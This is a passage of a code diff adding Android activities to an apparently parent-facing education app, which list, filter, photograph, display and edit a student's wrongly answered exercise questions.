  65 + String student = (String) SharedPreferencesUtil.getData("student", "");
  66 + try {
  67 + studentBean = new Gson().fromJson(student, StudentBean.class);
  68 + } catch (Exception e) {
  69 +
  70 + }
  71 + binding.ivBack.setOnClickListener(new View.OnClickListener() {
  72 + @Override
  73 + public void onClick(View v) {
  74 + finish();
  75 + }
  76 + });
  77 + binding.rlTakePhoto.post(new Runnable() {
  78 + @Override
  79 + public void run() {
  80 + LinearLayout.LayoutParams layoutParams = (LinearLayout.LayoutParams) binding.rlTakePhoto.getLayoutParams();
  81 + layoutParams.width = CommonUtil.getScreenWidth(context);
  82 + layoutParams.height = CommonUtil.getScreenWidth(context) * 20 / 37;
  83 + binding.rlTakePhoto.setLayoutParams(layoutParams);
  84 + }
  85 + });
  86 + binding.rlTakePhoto.setOnClickListener(new View.OnClickListener() {
  87 + @Override
  88 + public void onClick(View v) {
  89 + MyButtomDialog dialog = new MyButtomDialog(context, R.style.BottomSheetDialog);
  90 + View bottomView = LayoutInflater.from(context).inflate(R.layout.bottom_sheet_layout, null);
  91 + dialog.setContentView(bottomView);
  92 + bottomView.findViewById(R.id.take_photo).setOnClickListener(new View.OnClickListener() {
  93 + @Override
  94 + public void onClick(View view) {
  95 + dialog.dismiss();
  96 + Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
  97 + //确保有相机来处理Intent
  98 + filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  99 + File photoFile = new File(filePath);
  100 + if (photoFile != null) {
  101 + //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri
  102 + Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile);
  103 + takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
  104 + takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);
  105 + activity.startActivityForResult(takePictureIntent, REQUEST_CODE_IMAGE);
  106 + }
  107 + }
  108 + });
  109 + bottomView.findViewById(R.id.choose_photo).setOnClickListener(new View.OnClickListener() {
  110 + @Override
  111 + public void onClick(View view) {
  112 + dialog.dismiss();
  113 + ImagePickerConfig imagePickerConfig = new ImagePickerConfig.Builder().provider(getPackageName() + ".fileprovider").imageLoader(new GlideImageLoader()) //图片加载器
  114 + .iHandlerCallBack(new HandlerCallBack()) //图片选择器生命周期监听(直接打开摄像头时无效)
  115 + .multiSelect(true) //是否多选
  116 + .isShowCamera(false).isVideoPicker(false) //是否选择视频 默认false
  117 + .isImagePicker(true).imagePickerType(ImagePickerEnum.PHOTO_PICKER) //选择器打开类型
  118 + .maxImageSelectable(9) //图片可选择数
  119 + .maxHeight(1920) //图片最大高度
  120 + .maxWidth(1920) //图片最大宽度
  121 + .maxImageSize(10) //图片最大大小Mb
  122 + .isCrop(false).pathList(new ArrayList<>()).pickerThemeColorRes(R.color.image_picker_white).pickerTitleColorRes(R.color.image_picker_text_black).cropThemeColorRes(R.color.image_picker_white).cropTitleColorRes(R.color.image_picker_text_black).pickerBackRes(R.mipmap.image_picker_back_black).pickerFolderRes(R.mipmap.image_picker_folder_black).build();
  123 + ImagePickerOpen.getInstance().setImagePickerConfig(imagePickerConfig).pathList(new ArrayList<>()).open(ErrorBookActivity.this);
  124 +
  125 + }
  126 + });
  127 + bottomView.findViewById(R.id.cancel).setOnClickListener(new View.OnClickListener() {
  128 + @Override
  129 + public void onClick(View view) {
  130 + dialog.dismiss();
  131 + }
  132 + });
  133 + dialog.show();
  134 + }
  135 + });
  136 + BaseQuickAdapter adapter = new BaseQuickAdapter(R.layout.item_subject, Arrays.asList(getResources().getStringArray(R.array.filter_subject))) {
  137 + @Override
  138 + public void onBindViewHolder(@NonNull RecyclerView.ViewHolder holder, int position) {
  139 +
  140 + }
  141 +
  142 + @Override
  143 + protected void convert(@NonNull BaseViewHolder item, Object o) {
  144 + item.setText(R.id.tv_subject, getResources().getStringArray(R.array.filter_subject)[item.getAdapterPosition()]);
  145 + switch (item.getAdapterPosition()) {
  146 + case 0:
  147 + item.setImageResource(R.id.iv_subject, R.mipmap.ic_chinese);
  148 + break;
  149 + case 1:
  150 + item.setImageResource(R.id.iv_subject, R.mipmap.ic_math);
  151 + break;
  152 + case 2:
  153 + item.setImageResource(R.id.iv_subject, R.mipmap.ic_english);
  154 + break;
  155 + case 3:
  156 + item.setImageResource(R.id.iv_subject, R.mipmap.ic_physics);
  157 + break;
  158 + case 4:
  159 + item.setImageResource(R.id.iv_subject, R.mipmap.ic_chemistry);
  160 + break;
  161 + }
  162 + ViewGroup.LayoutParams layoutParams = item.getView(R.id.rl_subject).getLayoutParams();
  163 + layoutParams.width = (CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 30)) / 4;
  164 + item.getView(R.id.rl_subject).setLayoutParams(layoutParams);
  165 + item.getConvertView().setOnClickListener(new View.OnClickListener() {
  166 + @Override
  167 + public void onClick(View v) {
  168 + if (subject != item.getAdapterPosition()) {
  169 + subject = item.getAdapterPosition();
  170 + getError(getResources().getStringArray(R.array.filter_subject)[subject]);
  171 + }
  172 + }
  173 + });
  174 + }
  175 + };
  176 + binding.recycleSubject.setLayoutManager(new LinearLayoutManager(context, LinearLayoutManager.HORIZONTAL, false));
  177 + binding.recycleSubject.setAdapter(adapter);
  178 + subject = 0;
  179 + getError(getResources().getStringArray(R.array.filter_subject)[subject]);
  180 + binding.llAll.setOnClickListener(new View.OnClickListener() {
  181 + @Override
  182 + public void onClick(View v) {
  183 + Intent intent = new Intent(context, ErrorListActivity.class);
  184 + startActivity(intent);
  185 + }
  186 + });
  187 + }
  188 +
  189 + @Override
  190 + protected ActivityErrorBookBinding getViewBinding() {
  191 + return ActivityErrorBookBinding.inflate(getLayoutInflater());
  192 + }
  193 +
  194 + private void getError(String subject) {
  195 + if (studentBean != null) {
  196 + Map map = new HashMap();
  197 + map.put("subject", subject);
  198 + map.put("stuId", studentBean.getStuId());
  199 + map.put("pageSize", 5);
  200 + map.put("pageNum", 1);
  201 + NetWorks.getError(map, new Observer<ResponseResult<PageInfo<TopicBean>>>() {
  202 + @Override
  203 + public void onSubscribe(Disposable d) {
  204 +
  205 + }
  206 +
  207 + @Override
  208 + public void onNext(ResponseResult<PageInfo<TopicBean>> result) {
  209 + if (result.getData() != null && result.getCode() == 200) {
  210 + List<TopicBean> topicBeans = result.getData().getList();
  211 + loadError(topicBeans);
  212 + }
  213 + }
  214 +
  215 + @Override
  216 + public void onError(Throwable e) {
  217 + e.toString();
  218 + }
  219 +
  220 + @Override
  221 + public void onComplete() {
  222 +
  223 + }
  224 + });
  225 + }
  226 + }
  227 +
  228 + @Override
  229 + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
  230 + super.onActivityResult(requestCode, resultCode, data);
  231 + if (requestCode == REQUEST_CODE_IMAGE && resultCode == RESULT_OK && !TextUtils.isEmpty(filePath)) {
  232 + Bitmap b = BitmapUtils.compress(BitmapFactory.decodeFile(filePath));
  233 + String path = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  234 + CommonUtil.saveBitmapToUri(b, path);
  235 + List<String> strings = new ArrayList<>();
  236 + Intent intent = new Intent(context, ImageActivity.class);
  237 + strings.add(path);
  238 + intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
  239 + startActivity(intent);
  240 + }
  241 + }
  242 +
  243 + private void loadError(List<TopicBean> list) {
  244 + if (list.size() > 0) {
  245 + binding.recycleError.setVisibility(View.VISIBLE);
  246 + binding.llEmpty.setVisibility(View.GONE);
  247 + if (adapter != null) {
  248 + adapter.refresh(list);
  249 + } else {
  250 + adapter = new ErrorAdapter(context, list, false);
  251 + binding.recycleError.setLayoutManager(new LinearLayoutManager(context, RecyclerView.VERTICAL, false));
  252 + binding.recycleError.setAdapter(adapter);
  253 + }
  254 + } else {
  255 + binding.recycleError.setVisibility(View.GONE);
  256 + binding.llEmpty.setVisibility(View.VISIBLE);
  257 + }
  258 + }
  259 +
  260 + public class HandlerCallBack implements IHandlerCallBack<ImageInfo> {
  261 + private String TAG = "---ImagePicker---";
  262 + List<ImageInfo> photoList = new ArrayList<>();
  263 +
  264 + @Override
  265 + public void onStart() {
  266 + Log.i(TAG, "onStart: 开启");
  267 + }
  268 +
  269 + @Override
  270 + public void onSuccess(List<ImageInfo> photoList) {
  271 + this.photoList = photoList;
  272 + Log.i(TAG, "onSuccess: 返回数据");
  273 + }
  274 +
  275 + @Override
  276 + public void onCancel() {
  277 + Log.i(TAG, "onCancel: 取消");
  278 + }
  279 +
  280 + @Override
  281 + public void onFinish(List<ImageInfo> selectImage) {
  282 + if (selectImage.size() == photoList.size()) {
  283 + List<String> strings = new ArrayList<>();
  284 + Intent intent = new Intent(context, ImageActivity.class);
  285 + for (ImageInfo imageInfo : selectImage) {
  286 + strings.add(imageInfo.getPath());
  287 + }
  288 + intent.putStringArrayListExtra("images", (ArrayList<String>) strings);
  289 + startActivity(intent);
  290 + }
  291 + }
  292 +
  293 + @Override
  294 + public void onError() {
  295 + Log.i(TAG, "onError: 出错");
  296 + }
  297 + }
  298 +}
... ...
app/src/main/java/com/hjx/parent/ErrorDetailActivity.java
... ... @@ -0,0 +1,186 @@
  1 +package com.hjx.parent;
  2 +
  3 +import android.os.Bundle;
  4 +import android.text.TextUtils;
  5 +import android.view.View;
  6 +import android.webkit.WebSettings;
  7 +import android.widget.AdapterView;
  8 +import android.widget.RadioButton;
  9 +import android.widget.RadioGroup;
  10 +
  11 +import com.bumptech.glide.Glide;
  12 +import com.hjx.parent.databinding.ActivityErrorDetailBinding;
  13 +import com.hjx.parent.dialog.ErrorEditDialog;
  14 +import com.prws.common.bean.ErrorDetailBean;
  15 +import com.prws.common.bean.ResponseResult;
  16 +import com.prws.common.bean.TopicBean;
  17 +import com.prws.common.net.NetWorks;
  18 +import com.prws.common.utils.CommonUtil;
  19 +import com.prws.common.utils.StringUtils;
  20 +
  21 +import java.util.ArrayList;
  22 +import java.util.HashMap;
  23 +import java.util.List;
  24 +import java.util.Map;
  25 +
  26 +import io.reactivex.Observer;
  27 +import io.reactivex.disposables.Disposable;
  28 +
  29 +public class ErrorDetailActivity extends BaseActivity<ActivityErrorDetailBinding> {
  30 + private TopicBean bean;
  31 +
  32 + @Override
  33 + public void initView(Bundle savedInstanceState) {
  34 + bean = (TopicBean) getIntent().getSerializableExtra("errorBean");
  35 + loadError();
  36 + }
  37 +
  38 + public void loadError() {
  39 + if (bean.getBean() != null) {
  40 + ErrorDetailBean errorDetailBean = bean.getBean();
  41 + if (TextUtils.isEmpty(errorDetailBean.getContent())) {
  42 + binding.llOrigin.setVisibility(View.GONE);
  43 + } else {
  44 + String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">";
  45 + StringBuilder sb = new StringBuilder(4096);
  46 + if (!TextUtils.isEmpty(errorDetailBean.getLabel())) {
  47 + sb.append(errorDetailBean.getLabel());
  48 + }
  49 + sb.append(errorDetailBean.getContent());
  50 + if (errorDetailBean.getOptions() != null && errorDetailBean.getOptions().size() > 0) {
  51 + sb.append("<div class='pt1'>");
  52 + sb.append(StringUtils.OptionsHtml(errorDetailBean.getOptions(), null));
  53 + sb.append("</div>");
  54 + }
  55 + String body = "<html><header>" + linkCss + "</header>" + sb.toString() + "</body></html>";
  56 + binding.webContent.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null);
  57 + binding.webContent.setVisibility(View.VISIBLE);
  58 + binding.llOrigin.setVisibility(View.VISIBLE);
  59 + }
  60 + if (TextUtils.isEmpty(errorDetailBean.getMethod())) {
  61 + binding.llAnalyse.setVisibility(View.GONE);
  62 + } else {
  63 + binding.llAnalyse.setVisibility(View.VISIBLE);
  64 + String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">";
  65 + String body = "<html><header>" + linkCss + "</header>" + errorDetailBean.getMethod() + "</body></html>";
  66 + binding.webAnalyse.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null);
  67 + }
  68 + if (TextUtils.isEmpty(errorDetailBean.getDisplayAnswer())) {
  69 + binding.llAnswer.setVisibility(View.GONE);
  70 + } else {
  71 + binding.llAnswer.setVisibility(View.VISIBLE);
  72 + String linkCss = "<link rel=\"stylesheet\" href=\"file:///android_asset/style.css\" type=\"text/css\">";
  73 + String body = "<html><header>" + linkCss + "</header>" + errorDetailBean.getDisplayAnswer() + "</body></html>";
  74 + binding.webAnswer.loadDataWithBaseURL(linkCss, body, "text/html", "UTF-8", null);
  75 + }
  76 + if (errorDetailBean.getPoints().size() > 0) {
  77 + List<String> points = new ArrayList<>();
  78 + String topic = "";
  79 + for (int j = 0; j < errorDetailBean.getPoints().size(); j++) {
  80 + if (j > 0) {
  81 + topic += "、";
  82 + }
  83 + topic += errorDetailBean.getPoints().get(j).getValue();
  84 + points.add(errorDetailBean.getPoints().get(j).getKey());
  85 + }
  86 + binding.llPoints.setVisibility(View.VISIBLE);
  87 + binding.tvPoints.setText(topic);
  88 + } else {
  89 + binding.llPoints.setVisibility(View.GONE);
  90 + }
  91 + } else {
  92 + binding.llAnalyse.setVisibility(View.GONE);
  93 + binding.llAnswer.setVisibility(View.GONE);
  94 + binding.llOrigin.setVisibility(View.GONE);
  95 + binding.llPoints.setVisibility(View.GONE);
  96 + }
  97 + if (TextUtils.isEmpty(bean.getPath())) {
  98 + binding.llPic.setVisibility(View.GONE);
  99 + } else {
  100 + Glide.with(context).load(bean.getPath()).override(CommonUtil.getScreenWidth(context) - CommonUtil.dpToPx(context, 40), CommonUtil.dpToPx(context, 90)).fitCenter().into(binding.ivTopic);
  101 + }
  102 + binding.tvTitle.setText(bean.getName());
  103 + RadioButton typeButton = (RadioButton) binding.typeRadio.getChildAt(bean.getIsDone());
  104 + typeButton.setChecked(true);
  105 + binding.typeRadio.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
  106 + @Override
  107 + public void onCheckedChanged(RadioGroup group, int checkedId) {
  108 + saveError();
  109 + }
  110 + });
  111 + binding.spinnerReason.setSelection(bean.getReason());
  112 + binding.spinnerReason.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
  113 + @Override
  114 + public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
  115 + saveError();
  116 + }
  117 +
  118 + @Override
  119 + public void onNothingSelected(AdapterView<?> parent) {
  120 +
  121 + }
  122 + });
  123 + binding.ivBack.setOnClickListener(new View.OnClickListener() {
  124 + @Override
  125 + public void onClick(View v) {
  126 + finish();
  127 + }
  128 + });
  129 + binding.ivEdit.setOnClickListener(new View.OnClickListener() {
  130 + @Override
  131 + public void onClick(View v) {
  132 + List<TopicBean> topicBeans = new ArrayList<>();
  133 + topicBeans.add(bean);
  134 + ErrorEditDialog errorEditDialog = new ErrorEditDialog(context, topicBeans, new ErrorEditDialog.EditInterface() {
  135 + @Override
  136 + public void edit(String name, int reason) {
  137 + binding.tvTitle.setText(name);
  138 + binding.spinnerReason.setSelection(reason);
  139 + }
  140 + });
  141 + errorEditDialog.show();
  142 + }
  143 + });
  144 + }
  145 +
  146 + public void saveError() {
  147 + int done = 0;
  148 + for (int i = 0; i < binding.typeRadio.getChildCount(); i++) {
  149 + RadioButton rb = (RadioButton) binding.typeRadio.getChildAt(i);
  150 + if (rb.isChecked()) {
  151 + done = i;
  152 + }
  153 + }
  154 + bean.setDone(done == 1);
  155 + Map<String, Object> map = new HashMap<>();
  156 + map.put("bookId", bean.getId());
  157 + map.put("controlFlag", done == 1 ? 0 : 1);
  158 + map.put("errorReason", binding.spinnerReason.getSelectedItemPosition());
  159 + NetWorks.editError(map, new Observer<ResponseResult>() {
  160 + @Override
  161 + public void onSubscribe(Disposable d) {
  162 +
  163 + }
  164 +
  165 + @Override
  166 + public void onNext(ResponseResult responseResult) {
  167 +
  168 + }
  169 +
  170 + @Override
  171 + public void onError(Throwable e) {
  172 +
  173 + }
  174 +
  175 + @Override
  176 + public void onComplete() {
  177 +
  178 + }
  179 + });
  180 + }
  181 +
  182 + @Override
  183 + protected ActivityErrorDetailBinding getViewBinding() {
  184 + return ActivityErrorDetailBinding.inflate(getLayoutInflater());
  185 + }
  186 +}
... ...
app/src/main/java/com/hjx/parent/ErrorListActivity.java
... ... @@ -0,0 +1,587 @@
  1 +package com.hjx.parent;
  2 +
  3 +import android.app.Dialog;
  4 +import android.content.DialogInterface;
  5 +import android.content.Intent;
  6 +import android.graphics.Bitmap;
  7 +import android.graphics.BitmapFactory;
  8 +import android.graphics.Color;
  9 +import android.graphics.drawable.Drawable;
  10 +import android.net.Uri;
  11 +import android.os.Bundle;
  12 +import android.provider.MediaStore;
  13 +import android.text.TextUtils;
  14 +import android.util.Log;
  15 +import android.view.KeyEvent;
  16 +import android.view.LayoutInflater;
  17 +import android.view.View;
  18 +import android.widget.CompoundButton;
  19 +import android.widget.RadioButton;
  20 +import android.widget.RadioGroup;
  21 +import android.widget.TextView;
  22 +
  23 +import androidx.annotation.Nullable;
  24 +import androidx.core.content.FileProvider;
  25 +import androidx.recyclerview.widget.GridLayoutManager;
  26 +import androidx.recyclerview.widget.LinearLayoutManager;
  27 +import androidx.recyclerview.widget.RecyclerView;
  28 +
  29 +import com.google.gson.Gson;
  30 +import com.hjx.parent.adapter.ErrorAdapter;
  31 +import com.hjx.parent.adapter.FilterAdapter;
  32 +import com.hjx.parent.adapter.LoadMoreOnScrollListener;
  33 +import com.hjx.parent.bean.StudentBean;
  34 +import com.hjx.parent.databinding.ActivityErrorListBinding;
  35 +import com.hjx.parent.dialog.ErrorEditDialog;
  36 +import com.hjx.parent.dialog.TipDialog;
  37 +import com.prws.common.bean.GradeAndSubject;
  38 +import com.prws.common.bean.PageInfo;
  39 +import com.prws.common.bean.ResponseResult;
  40 +import com.prws.common.bean.Subject;
  41 +import com.prws.common.bean.TopicBean;
  42 +import com.prws.common.net.NetWorks;
  43 +import com.prws.common.utils.BitmapUtils;
  44 +import com.prws.common.utils.CommonUtil;
  45 +import com.prws.common.utils.SharedPreferencesUtil;
  46 +import com.prws.common.utils.dialog.MyButtomDialog;
  47 +import com.zhangteng.imagepicker.bean.ImageInfo;
  48 +import com.zhangteng.imagepicker.config.ImagePickerConfig;
  49 +import com.zhangteng.imagepicker.config.ImagePickerEnum;
  50 +import com.zhangteng.imagepicker.config.ImagePickerOpen;
  51 +import com.zhangteng.imagepicker.imageloader.GlideImageLoader;
  52 +import com.zhangteng.utils.IHandlerCallBack;
  53 +
  54 +import java.io.File;
  55 +import java.util.ArrayList;
  56 +import java.util.HashMap;
  57 +import java.util.List;
  58 +import java.util.Map;
  59 +
  60 +import io.reactivex.Observer;
  61 +import io.reactivex.disposables.Disposable;
  62 +
  63 +public class ErrorListActivity extends BaseActivity<ActivityErrorListBinding> implements View.OnClickListener {
  64 + private TextView last;
  65 + private String subject;
  66 + private String grade;
  67 + private String manger;
  68 + private String type = "全部";
  69 + private String time = "全部";
  70 + private FilterAdapter filterAdapter;
  71 + StudentBean studentBean;
  72 + private int page = 1;
  73 + private ErrorAdapter adapter;
  74 + private int total;
  75 + private int REQUEST_CODE_IMAGE = 123;
  76 + private String filePath;
  77 +
  78 + @Override
  79 + public void initView(Bundle savedInstanceState) {
  80 + String student = (String) SharedPreferencesUtil.getData("student", "");
  81 + try {
  82 + studentBean = new Gson().fromJson(student, StudentBean.class);
  83 + } catch (Exception e) {
  84 +
  85 + }
  86 + binding.ivBack.setOnClickListener(this);
  87 + binding.tvFilterGrade.setOnClickListener(this);
  88 + binding.tvFilterSubject.setOnClickListener(this);
  89 + binding.tvFilterMore.setOnClickListener(this);
  90 + binding.tvFilterManage.setOnClickListener(this);
  91 + binding.tvEdit.setOnClickListener(this);
  92 + binding.tvAdd.setOnClickListener(this);
  93 + binding.llDelete.setOnClickListener(this);
  94 + binding.tvSave.setOnClickListener(this);
  95 + binding.checkbox.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
  96 + @Override
  97 + public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
  98 + adapter.checkAll(isChecked);
  99 + }
  100 + });
  101 + RadioButton timeButton = (RadioButton) binding.groupTime.getChildAt(3);
  102 + timeButton.setChecked(true);
  103 + binding.groupTime.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
  104 + @Override
  105 + public void onCheckedChanged(RadioGroup group, int checkedId) {
  106 + RadioButton rcheck = (RadioButton) findViewById(checkedId);
  107 + time = rcheck.getText().toString();
  108 + refreshError();
  109 + }
  110 + });
  111 +
  112 + RadioButton typeButton = (RadioButton) binding.groupType.getChildAt(2);
  113 + typeButton.setChecked(true);
  114 + binding.groupType.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
  115 + @Override
  116 + public void onCheckedChanged(RadioGroup group, int checkedId) {
  117 + RadioButton rcheck = (RadioButton) findViewById(checkedId);
  118 + type = rcheck.getText().toString();
  119 + refreshError();
  120 + }
  121 + });
  122 + refreshError();
  123 + }
  124 +
  125 + @Override
  126 + protected ActivityErrorListBinding getViewBinding() {
  127 + return ActivityErrorListBinding.inflate(getLayoutInflater());
  128 + }
  129 +
  130 + @Override
  131 + public void onClick(View v) {
  132 + switch (v.getId()) {
  133 + case R.id.iv_back:
  134 + finish();
  135 + break;
  136 + case R.id.tv_filter_grade:
  137 + List<String> grades = new ArrayList<>();
  138 + for (GradeAndSubject gradeAndSubject : App.getInstance().getGradeAndSubjects()) {
  139 + grades.add(gradeAndSubject.getGrade().getGrade());
  140 + }
  141 + grades.add("全部");
  142 + setFilterAdapter(grades, binding.tvFilterGrade, grade);
  143 + break;
  144 + case R.id.tv_filter_subject:
  145 + List<String> subjects = new ArrayList<>();
  146 + for (GradeAndSubject gradeAndSubject : App.getInstance().getGradeAndSubjects()) {
  147 + for (Subject subject : gradeAndSubject.getSubjects()) {
  148 + if (!subjects.contains(subject.getSubject())) {
  149 + subjects.add(subject.getSubject());
  150 + }
  151 + }
  152 + }
  153 + subjects.add("全部");
  154 + setFilterAdapter(subjects, binding.tvFilterSubject, subject);
  155 + break;
  156 + case R.id.tv_filter_manage:
  157 + List<String> manages = new ArrayList<>();
  158 + manages.add("已掌握");
  159 + manages.add("未掌握");
  160 + manages.add("全部");
  161 + setFilterAdapter(manages, binding.tvFilterManage, manger);
  162 + break;
  163 + case R.id.tv_filter_more:
  164 + showFilterMore();
  165 + break;
  166 + case R.id.tv_edit:
  167 + if (adapter.edit) {
  168 + adapter.setEdit(false);
  169 + binding.tvSave.setVisibility(View.GONE);
  170 + binding.tvAdd.setVisibility(View.VISIBLE);
  171 + binding.checkbox.setVisibility(View.GONE);
  172 + binding.llDelete.setVisibility(View.GONE);
  173 + binding.ivBack.setVisibility(View.VISIBLE);
  174 + binding.tvEdit.setText("编辑");
  175 + } else {
  176 + adapter.setEdit(true);
  177 + binding.tvSave.setVisibility(View.VISIBLE);
  178 + binding.tvAdd.setVisibility(View.GONE);
  179 + binding.llDelete.setVisibility(View.VISIBLE);
  180 + binding.checkbox.setVisibility(View.VISIBLE);
  181 + binding.ivBack.setVisibility(View.GONE);
  182 + binding.tvEdit.setText("取消");
  183 + }
  184 + adapter.notifyDataSetChanged();
  185 + break;
  186 + case R.id.ll_delete:
  187 + showTipDialog("温馨提示", "确认删除已勾选的错题?", "取消", "确认", new TipDialog.TipDialogInterface() {
  188 + @Override
  189 + public void onConfirm(Dialog dialog) {
  190 + deleteError(adapter.getChecKList());
  191 + dialog.dismiss();
  192 + }
  193 +
  194 + @Override
  195 + public void onCancel(Dialog dialog) {
  196 + dialog.dismiss();
  197 + }
  198 + });
  199 + break;
  200 + case R.id.tv_add:
  201 + MyButtomDialog dialog = new MyButtomDialog(context, R.style.BottomSheetDialog);
  202 + View bottomView = LayoutInflater.from(context).inflate(R.layout.bottom_sheet_layout, null);
  203 + dialog.setContentView(bottomView);
  204 + bottomView.findViewById(R.id.take_photo).setOnClickListener(new View.OnClickListener() {
  205 + @Override
  206 + public void onClick(View view) {
  207 + dialog.dismiss();
  208 + Intent takePictureIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
  209 + //确保有相机来处理Intent
  210 + filePath = context.getExternalFilesDir("images").getPath() + "/" + String.valueOf(System.currentTimeMillis()) + CommonUtil.getStr() + ".jpg";
  211 + File photoFile = new File(filePath);
  212 + if (photoFile != null) {
  213 + //适配Android 7.0文件权限,通过FileProvider创建一个content类型的Uri
  214 + Uri photoUri = FileProvider.getUriForFile(activity, "com.hjx.parent.fileprovider", photoFile);
  215 + takePictureIntent.addFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
  216 + takePictureIntent.putExtra(MediaStore.EXTRA_OUTPUT, photoUri);
  217 + activity.startActivityForResult(takePictureIntent, REQUEST_CODE_IMAGE);
  218 + }
  219 + }
  220 + });
  221 + bottomView.findViewById(R.id.choose_photo).setOnClickListener(new View.OnClickListener() {
  222 + @Override
  223 + public void onClick(View view) {
  224 + dialog.dismiss();
  225 + ImagePickerConfig imagePickerConfig = new ImagePickerConfig.Builder().provider(getPackageName() + ".fileprovider").imageLoader(new GlideImageLoader()) //图片加载器
  226 + .iHandlerCallBack(new HandlerCallBack()) //图片选择器生命周期监听(直接打开摄像头时无效)
  227 + .multiSelect(true) //是否多选
  228 + .isShowCamera(false).isVideoPicker(false) //是否选择视频 默认false
  229 + .isImagePicker(true).imagePickerType(ImagePickerEnum.PHOTO_PICKER) //选择器打开类型
  230 + .maxImageSelectable(9) //图片可选择数
  231 + .maxHeight(1920) //图片最大高度
  232 + .maxWidth(1920) //图片最大宽度
  233 + .maxImageSize(10) //图片最大大小Mb
  234 + .isCrop(false).pathList(new ArrayList<>()).pickerThemeColorRes(R.color.image_picker_white).pickerTitleColorRes(R.color.image_picker_text_black).cropThemeColorRes(R.color.image_picker_white).cropTitleColorRes(R.color.image_picker_text_black).pickerBackRes(R.mipmap.image_picker_back_black).pickerFolderRes(R.mipmap.image_picker_folder_black).build();
  235 + ImagePickerOpen.getInstance().setImagePickerConfig(imagePickerConfig).pathList(new ArrayList<>()).open(ErrorListActivity.this);
  236 +
  237 + }
  238 + });
  239 + bottomView.findViewById(R.id.cancel).setOnClickListener(new View.OnClickListener() {
  240 + @Override
  241 + public void onClick(View view) {
  242 + dialog.dismiss();
  243 + }
  244 + });
  245 + dialog.show();
  246 + break;
  247 + case R.id.tv_save:
  248 + if (adapter.getChecKList().size() > 0) {
  249 + ErrorEditDialog errorEditDialog = new ErrorEditDialog(context, adapter.getChecKList(), new ErrorEditDialog.EditInterface() {
  250 + @Override
  251 + public void edit(String s, int i) {
  252 + adapter.setEdit(false);
  253 + binding.tvSave.setVisibility(View.GONE);
  254 + binding.tvAdd.setVisibility(View.VISIBLE);
  255 + binding.checkbox.setVisibility(View.GONE);
  256 + binding.llDelete.setVisibility(View.GONE);
  257 + binding.ivBack.setVisibility(View.VISIBLE);
  258 + binding.tvEdit.setText("编辑");
  259 + page = 1;
  260 + refreshError();
  261 + }
  262 + });
  263 + errorEditDialog.show();
  264 + }
  265 + break;
  266 + }
  267 + }
  268 +
  269 + private void deleteError(List<TopicBean> topicBeans) {
  270 + List<String> list = new ArrayList<>();
  271 + for (int i = 0; i < topicBeans.size(); i++) {
  272 + list.add(topicBeans.get(i).getId());
  273 + }
  274 + NetWorks.deleteError(list, new Observer<ResponseResult>() {
  275 + @Override
  276 + public void onSubscribe(Disposable d) {
  277 +
  278 + }
  279 +
  280 + @Override
  281 + public void onNext(ResponseResult responseResult) {
  282 + if (responseResult.getCode() == 200) {
  283 + adapter.setEdit(false);
  284 + binding.tvSave.setVisibility(View.GONE);
  285 + binding.tvAdd.setVisibility(View.VISIBLE);
  286 + binding.checkbox.setVisibility(View.GONE);
  287 + binding.llDelete.setVisibility(View.GONE);
  288 + binding.ivBack.setVisibility(View.VISIBLE);
  289 + binding.tvEdit.setText("编辑");
  290 + page = 1;
  291 + refreshError();
  292 + }
  293 + }
  294 +
  295 + @Override
  296 + public void onError(Throwable e) {
  297 +
  298 + }
  299 +
  300 + @Override
  301 + public void onComplete() {
  302 +
  303 + }
  304 + });
  305 + }
  306 +
  307 + private void showFilterMore() {
  308 + binding.recycleFilter.setVisibility(View.GONE);
  309 + if (binding.llFilterMore.getVisibility() == View.VISIBLE) {
  310 + binding.llFilterMore.setVisibility(View.GONE);
  311 + } else {
  312 + binding.llFilterMore.setVisibility(View.VISIBLE);
  313 + last.setTextColor(getColor(R.color.text_title));
  314 + Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray);
  315 + // 这一步必须要做,否则不会显示.
  316 + drawable.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
  317 + last.setCompoundDrawables(null, null, drawable, null);
  318 + binding.tvFilterMore.setTextColor(Color.parseColor("#1C90F3"));
  319 + Drawable drawable1 = getResources().getDrawable(R.drawable.ic_filter_blue);
  320 + // 这一步必须要做,否则不会显示.
  321 + drawable1.setBounds(0, 0, drawable.getMinimumWidth(), drawable.getMinimumHeight());
  322 + binding.tvFilterMore.setCompoundDrawables(null, null, drawable1, null);
  323 + last = binding.tvFilterMore;
  324 + }
  325 + }
  326 +
  327 + private void setFilterAdapter(List<String> list, TextView textView, String select) {
  328 + if (TextUtils.isEmpty(select)) {
  329 + select = "全部";
  330 + }
  331 + binding.llFilterMore.setVisibility(View.GONE);
  332 + if (last != null && last.getId() == R.id.tv_filter_more) {
  333 + last.setTextColor(getColor(R.color.text_title));
  334 + Drawable drawable = getResources().getDrawable(R.drawable.ic_filter_gray);
  335 + // 这一步必须要做,否则不会显示.
